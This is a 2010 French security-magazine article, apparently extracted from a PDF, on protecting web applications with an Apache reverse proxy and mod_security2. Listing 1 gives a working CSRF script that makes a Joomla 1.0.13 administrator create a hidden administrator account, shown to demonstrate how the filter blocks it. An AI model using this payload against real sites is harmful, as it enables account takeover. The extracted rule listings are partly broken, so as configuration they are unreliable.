Sécuriser les applications web

(1)

68 HAKIN9

SÉCURITÉ RÉSEAUX

3/2010

A

ujourd'hui, les attaques sont de moins en moins réalisées sur les serveurs ou sur les réseaux car ils sont de mieux en mieux protégés. La majeure partie des vulnérabilités se trouvent dans les applications et les applications Web sont aujourd’hui extrêmement répandues.

TONY FACHAUX

CET ARTICLE EXPLIQUE...

Ce qu'est un WAF (Web Application Firewall).

Comment filtrer les attaques Web.

CE QU'IL FAUT SAVOIR...

Quelques notions sur le protocole HTTP.

C’est pour cela que des équipements, appelés WAF (Web Application Firewall ou Firewall applicatif en français), font leur apparition et sont maintenant un maillon indispensable dans la sécurité d’une architecture. Pour répondre à ce besoin, il existe une multitude d’appliances sur le marché telles Degré de difficulté

Sécuriser les applications web

L'article présente d'une manière générale les moyens techniques à mettre en œuvre pour sécuriser les applications web d'une entreprise. Cette sécurisation passe par la mise en place d'un WAF (Web Application Firewall). Dans cet article, nous utiliserons le mod_security d'Apache pour expliquer la mise en œuvre de ce type de protection.

Figure 1. Architecture Web sécurisée par un WAF

Flux HTTP/HTTPS

Flux HTTP

DMZ Web DMZ Publique

Serveur Web WAF (Web

AQpplication Firewall)

(2)

69 HAKIN9

SÉCURISER LES APPLICATIONS WEB

3/2010

Deny All, F5 ou encore Barracuda. Mais nous parlerons ici de mod_security2 qui est un module de filtrage applicatif pouvant être couplé avec un Apache configuré en reverse proxy. Tout ceci est plus communément appelé un reverse proxy filtrant.

Qu'est ce qu'un reverse proxy

Il convient ici de définir ce qu’est un reverse proxy. Comme son nom l’indique, un reverse proxy est le contraire d’un proxy ! Le reverse proxy se place en frontal derrière le firewall. Derrière lui, se cache un ou plusieurs serveur web. Le reverse proxy peut faire de la répartition de charge et/ou du filtrage ce que nous allons voir ici en pratique.

Le filtrage se réalise de deux manières : soit par liste blanche, soit par liste noire. La liste blanche est la plus sûre mais la plus difficile à configurer.

Son but consiste à tout bloquer et à n’autoriser que le trafic sûr (typiquement le fonctionnement d’un pare-feu réseau).

Une tâche difficile pour des applications qui génèrent beaucoup de données aléatoires. La quasi-impossibilité de connaître tout le bon trafic est un autre élément de difficulté. Une liste blanche mal générée risque d'altérer le fonctionnement de l’application. Dans certains cas, nous sommes donc obligés d'opter pour la liste noire qui consiste à bloquer tout le mauvais trafic. Mais qui peut prétendre connaître tout le mauvais trafic de l’Internet ? Personne ! C’est donc pour cette raison que la liste blanche est plus sûre bien que pas toujours évidente à implémenter.

L'architecture

La figure 1 représente un schéma basique d'une architecture web protégée par un WAF.

Les clients sur Internet interrogent le reverse proxy en HTTP ou en HTTPS selon l'application. Le reverse proxy filtrant analyse les requêtes web, les autorise ou non et redirige les requêtes en HTTP au serveur web correspondant. Le reverse proxy est généralement placé dans une DMZ publique car elle est joignable depuis l'extérieur et les serveurs web sont, quant

La configuration du reverse proxy

La configuration du reverse proxy est contenue dans le fichier httpd.conf de notre Apache situé en frontal derrière le firewall. Il faut d’abord vérifier que les modules sont correctement chargés :

• LoadModule proxy_module modules/mod_proxy.so

• LoadModule proxy_http_module modules/mod_proxy_http.so

• LoadModule proxy_connect_module modules/mod_proxy_connect.so Ensuite, il faut réaliser la configuration du reverse proxy :

• ProxyRequests Off

• ServerName IP_de_la_web_application

• ProxyPass / http://IP_de_la_web_application

• ProxyPassReverse / http://IP_de_la_web_application

Nous avons réalisé une configuration basique du reverse proxy. Il est aussi évident ici que dans un cas réel, nous configurerions une authentification mais ce n’est pas le but de cet article. La documentation officielle de mod_proxy est très bien faite à ce sujet.

Figure 2. Trace générée par mod_security2

Figure 3. Fichier de configuration de mod_security2

Figure 4. News déposée sur Joomla

(3)

70 HAKIN93/2010

à eux, placés dans une DMZ spécifique.

L’application web que nous utiliserons en appui du présent article sera un Joomla 1.0.13 STABLE. Cette application n’est volontairement pas la dernière version afin de tester aisément l’exploitation de failles dans l’application.

Expliquons rapidement le principe de fonctionnement. Un utilisateur sur Internet désirant se connecter sur Joomla entre dans son navigateur Internet l’adresse du reverse proxy (rappelez-vous qu’il est placé en frontal). Son navigateur affichera alors Joomla. L’utilisateur se connecte en

HTTP ou en HTTPS, le reverse proxy se chargera ensuite de relayer les requêtes vers Joomla en HTTP.

Configuration de l'architecture L'architecture se compose des éléments suivants :

• Un serveur web hébergeant l'application web Joomla

• Un reverse proxy filtrant

Nous ne détaillerons pas complètement l'installation de ces serveurs mais

partons du principe qu'il dispose de la configuration suivante : un OS FreeBSD avec Apache 2.2, PHP5 et MySQL. Le reverse proxy dispose du mod_proxy d'Apache pour fonctionner en reverse proxy et le serveur web hébergera l'application Joomla.

Le mod_security

Mod_security est un module d’Apache permettant de transformer un Apache configuré en reverse proxy en firewall applicatif. Il faut savoir que mod_security dispose d’une communauté très active et commence à être de plus en répandu.

La grande force de mod_security est de pouvoir filtrer à 5 niveaux :

• En-têtes de requêtes

• Corps des requêtes

• En-têtes de réponses

• Corps des réponses

• Journalisation

Cela fait de mod_security un outil de filtrage très puissant pour les applications web.

Installation

L'installation de mod_security sous FreeBSD se fait simplement:

cd /usr/ports/www/mod_security2 &&

make install clean

Passons maintenant à la préparation de la configuration

Comme pour le reverse proxy, nous devons vérifier que les modules sont correctement chargés dans Apache.

Le module mod_unique permet à mod_security d’identifier de manière unique chaque requête reçue :

LoadModule unique_id_module libexec/

apache22/mod_

unique_id.so

Chargement du module mod_security2 : LoadModule security2_module libexec/

apache22/mod_

security2.so

Configuration de mod_security2 : Listing 1. Un exemple d'attaque CSRF

Je vais gagner

window.onload = function() {

var url = "http://IP_Joomla/joomla/administrator/index2.php";

var gid = 25;

var user = 'mechant';

var pass = 'mechant';

var email = 'mechant@toto.com';

var param = { name: user, username: user, email: email, password: pass, password2: pass, gid: gid, block: 0,

option: 'com_users', task: 'save', sendEmail: 1 };

var form = document.createElement('form');

form.action = url;

form.method = 'post';

form.target = 'hidden';

form.style.display = 'none';

for (var i in param) { try {

// ie

var input = document.createElement('<input name="'+i+'">');

} catch(e) {

// other browsers

var input = document.createElement('input');

input.name = i;

}

input.setAttribute('value', param[i]);

form.appendChild(input);

}

document.body.appendChild(form);

form.submit();

}

</script>

(4)

SÉCURISER LES APPLICATIONS WEB

71 HAKIN9 3/2010 Include etc/apache22/Includes/*.conf

Tous les fichiers de configuration de mod_security se trouvent dans /usr/

local/etc/apache22/Includes/mod _ security2 (cf. Figure 2).

Le fichier de configuration principal est modsecurity_crs_10_config.conf. Les autres fichiers représentent les règles ModSecurity Core Rules qui fonctionnent en liste noire et qui représentent une protection de base intéressante contre une quantité d’attaques connues.

Paramétrage de mod_

security2

Voici le détail du paramétrage du fichier de configuration principal de mod_security :

SecRuleEngine On : Activation du module mod_security. Ce module intercepte les requêtes et les bloque ou laisse passer selon la configuration. Cette option peut être bloquée ou simplement active sans blocage (active à des fins de logs).

SecRequestBodyAccess On : les règles qui inspectent le corps des requêtes sont actives.

SecResponseBodyAccess On : les règles qui inspectent le corps des réponses sont actives.

SecDefaultAction : Détermine l’action par défaut lorsqu’aucune règle ne s’applique.

Plusieurs options peuvent y être spécifiées comme log pour loguer, deny pour arrêter l’application, etc. Une grande particularité de mod_security est qu’il log beaucoup plus d’informations qu’Apache. Pour cela, il faut configurer les paramètres suivants :

SecAuditEngine RelevantOnly : seuls les échanges ayant été détectés sont enregistrés

SecAuditLog : spécifie le chemin vers le journal

Voici un exemple de traces que génère mod_security dans notre situation (cf.

Figure 3).

A ce stade, nous avons un mod_

security2 fonctionnel avec les ModSecurity Core rules. Notre application web est donc correctement protégée en liste noire à condition, bien sûr, de mettre à jour régulièrement les Core rules. Le but étant de faire de la liste blanche, nous verrons par la suite comment orienter la configuration vers ce mode de fonctionnement.

Paramétrage personnalisé

Avant tout, il convient d’expliquer comment personnaliser la configuration de mod_

security manuellement. Pour cela, il faut ajouter un fichier .conf au répertoire de mod_security. Ce fichier .conf sera pris en compte puisque nous lui avons indiqué : Include etc/apache22/Include/*.conf

Afin d’éditer des règles, il faut utiliser la directive SecRule avec cette syntaxe : SecRule Variables Opérateur [Actions]

Pour avoir la documentation complète des paramètres utilisables, rendez-vous

sur le site officiel de mod_security. Une multitude de règles peuvent être écrites.

Vous trouverez plus loin dans cet article les règles que nous avons éditées pour bloquer notre attaque. En voici quelques-unes :

Bloquer l’accès au répertoire joomla dans une url :

SecFilter /joomla/

Interdire la méthode TRACE :

SecFilterSelective REQUEST_METHOD « TRACE »

Vous trouverez plusieurs exemples de règles dans l’article d’HSC qui se trouve

Figure 5. Editeur de règles REMO

(5)

72 HAKIN93/2010

dans la partie références de cet article.

Vous y trouverez des règles permettant

de bloquer des SQL injection ainsi que des failles XSS. Pour mettre en place du

filtrage par liste noire, ces règles sont intéressantes.

Démonstration d'une attaque sur Joomla

Nous avons réalisé une attaque sur notre installation de Joomla pour ensuite tester son blocage avec mod_security2.

Explication de l'attaque :

• 1/ Création d'un utilisateur classique dans Joomla.

• 2/ Cet utilisateur dépose ensuite une news dans Joomla avec un lien contenant cette attaque (Figure 4).

Le lien cliquez ici contient du code malveillant que voici (cf Listing 1).

Et lorsqu’un administrateur ira sur cette news et cliquera sur le lien, un nouveau compte root mechant/mechant se créera dans la base de données utilisateurs de joomla.

Le filtrage par liste blanche

L’objectif de la liste blanche est d’interdire ce qui n’est pas explicitement autorisé.

Cela peut être assez facile pour une application dont les processus sont entièrement maitrisés. Cela devient beaucoup plus compliqué pour une application non maîtrisée et relativement lourde en fonctionnalités. Au vu de la tâche que cela implique, dans le cadre de notre étude, nous ne tenterons pas de protéger l’ensemble de l’application mais seulement quelques parties du système et, notamment, le protéger contre l’attaque proposée dans la partie précédente.

Nous allons dans un premier temps ne mettre aucune règle de filtrage et mettre le reverse proxy en mode apprentissage afin de loguer au maximum ce qui se passe et déterminer ensuite les règles de filtrage à mettre en place. Cette opération terminée, une analyse assez grossière nous permet d’identifier les grandes règles de filtrage permettant à l’application de s’exécuter au maximum. En effet, cette première opération est assez importante puisque tout ce qui n’est pas explicitement autorisé est interdit. Il convient ainsi d’autoriser un maximum d’éléments nécessaires au bon fonctionnement de l’application.

Listing 2. Règles mod_security

# Location au niveau du site joomla

# Traitement de la balise "Referer"

SecRule REQUEST_HEADERS:Referer

"!^(http://192.168.103.113/joomla/administrator/(.*))$"

"t:none,deny,id:3,status:501,severity:3,msg:'Header Referer failed

# Aucune vérifi cation sur le "Cookie"

SecRule REQUEST_HEADERS:Cookie "!^(.*)$"

"t:none,deny,id:3,status:501,severity:3,msg:'Header Cookie failed validity check. Value domain: Custom.'"

# All checks passed for this path. Request is allowed.

SecAction "allow,id:4,t:none,msg:'Request passed all checks, it is thus allowed.'"

</LocationMatch>

# traitement de la balise "Referer" en prenant en compte cette fois la possibilité de venir du fi chier index.php

SecRule REQUEST_HEADERS:Referer

"!^((http://192.168.103.113/joomla/administrator/(.*))|(http://192.168.103.113/j oomla/index.php(.*)))$" "t:none,deny,id:3,status:501,severity:3,msg:'Header Referer failed validity check. Value domain: Custom.'"

# Aucune vérifi cation sur le "Cookie"

SecRule REQUEST_HEADERS:Cookie "!^(.*)$"

"t:none,deny,id:3,status:501,severity:3,msg:'Header Cookie failed validity check. Value domain: Custom.'"

</LocationMatch>

# aucun traitement de la balise "Referer"

SecRule REQUEST_HEADERS:Referer "!^(.*)$"

"t:none,deny,id:1,status:501,severity:3,msg:'Header Referer failed validity check. Value domain: Custom.'"

# Vérifi e que le "Cookie" n'existe pas

SecRule REQUEST_HEADERS:Cookie "(3317646d38c9c47495501e2b9c0a260e=)(.*)$"

"t:none,deny,id:1,status:501,severity:3,msg:'Header Cookie failed validity check. </LocationMatch>

# Bloque tout

SecAction "deny,status:501,severity:3,msg:'Unknown request. Access denied by fallback rule.'"

</LocationMatch>

Sur Internet

• http://www.howtoforge.com/remo_modsecurity_apache – Un tutorial pour débuter avec REMO.

• http://www.modsecurity.org/ – Le site officiel de mod_security.

• http://software.inl.fr/trac/wiki/Ouadjet – Le site de ouadjet.

• http://www.hsc.fr/ressources/breves/modsecurity.html.fr – Un article d'HSC traitant de mod_

security.

• http://www.hsc.fr/ressources/breves/relais-inverse.html.fr – Un article d'HSC traitant d'Apache en relais inverse.

• http://httpd.apache.org/docs/2.0/mod/mod_proxy.html – La documentation officielle de mod_proxy.

(6)

Comment filtrer l'attaque

Le problème de cette attaque réside dans la légitimité de l’opération réalisée.

Le seul élément qui n’est pas normal est le lieu de réalisation du script. En ef fet, l’opération de création de compte utilisateur ne peut être réalisée que depuis l’URL « index2.php » Nous avons donc décidé de filtrer sur l’en-tête HTTP, la variable « Referer » qui stipule l’url de la page demandant à exécuter le script et d’y mettre comme règle : « /joomla/

administrator/(.*) ». Nous pouvons alors constater, qu’ef fectivement, l’attaque dans ces conditions n’est plus possible. Dans cette règle, nous ne stipulons pas que la balise Referer est obligatoire, ce qui peut être considéré comme une vulnérabilité.

Si cette balise est rendue obligatoire, l’authentification à l’application n’est plus possible car dans certains cas, ce champ ne figure pas dans l’en-tête HTTP. Néanmoins, nous partons du principe que l’administrateur n’a aucun intérêt à intercepter la communication pour changer cette balise. Toujours dans notre paranoïa permanente, nous nous sommes dit que la page permettant l’attaque pouvait se trouver derrière un proxy qui modifierait cet en-tête à la volée afin de la rendre conforme à la règle de filtrage précédemment mise en place. C’est pourquoi nous avons décidé d’ajouter une règle plus contraignante pour l’administrateur mais qui permettra de réduire au maximum ce risque.

Un moyen complémentaire de filtrage

La deuxième règle consiste à limiter l’accès de l’administrateur à son espace d’administration et de lui interdire l’accès aux pages du site. Cette règle consiste donc à interdire explicitement le cookie de session « 3317646d38c9c47495501 e2b9c0a260e» correspondant au profil d’administration aux autres espaces (Location) du site. Le problème est que pour accéder au reste de l’application, l’administrateur n’aura pas seulement besoin de se déloguer, il lui faudra aussi fermer son navigateur. En effet, au moment du logout de l’application, le cookie est dévalidé dans la base de données mais ne l’est pas au niveau du navigateur.

Editeur de règles

Le premier outil recommandé (Ouadjet) ne fonctionne que pour la branche 1 d’Apache. Nous l’avons essayé

sur la branche 2 de mod_security mais sans succès. Nous avons donc cherché un outil pour la branche 2 de mod_security.

Deux outils ont été trouvés. Le premier nous a paru assez austère dans son approche. Le second, REMO, nous a paru beaucoup plus intéressant dans son approche, car il aide l’utilisateur à créer un maximum de règles de la manière la plus précise possible, permettant également une compréhension simplifiée de l’en-tête HTTP.

Pour être efficace dans la création de règles, il convient de bien comprendre le fonctionnement du protocole HTTP.

La compréhension des en-têtes est un élément primordial. Voici en image les règles que nous avons générées avec REMO (cf. Figure 5).

Et voici ce que cela donne en version mod_security (cf. Listing 2).

Conclusion

Nous avons vu que la liste blanche est un mécanisme très complexe à mettre en œuvre. La solution consisterait à créer des règles de filtrage par liste blanche pour chaque application web (soit par l’éditeur, soit par une société qui ne s’occuperait que de cela). Sans cela, la mise en place d’une liste blanche est extrêmement difficile sauf à connaître parfaitement l’application. La liste noire a donc encore de beaux jours devant elle tant que des listes blanches ne seront pas éditées pour chaque application. A moins qu’un autre outil vraiment performant voit le jour. Ouadjet pour la branche 2 de mod_security est en développement. Ivan Ristic, le développeur de mod_security, est aussi en train de travailler sur un projet qui consisterait à générer des listes blanches automatiquement mais cela va prendre du temps. Patientons…

À propos de l'auteur

L'auteur travaille en tant qu'ingénieur sécurité chez Dimension Data Luxembourg. Son métier consiste en la conception, la mise en œuvre et le support d'architectures de sécurité pour des clients grands comptes. Diplômé d'un Master ès Sécurité Informatique à l'EPITA à Paris, il se passionne pour les technologies de sécurité de l'information.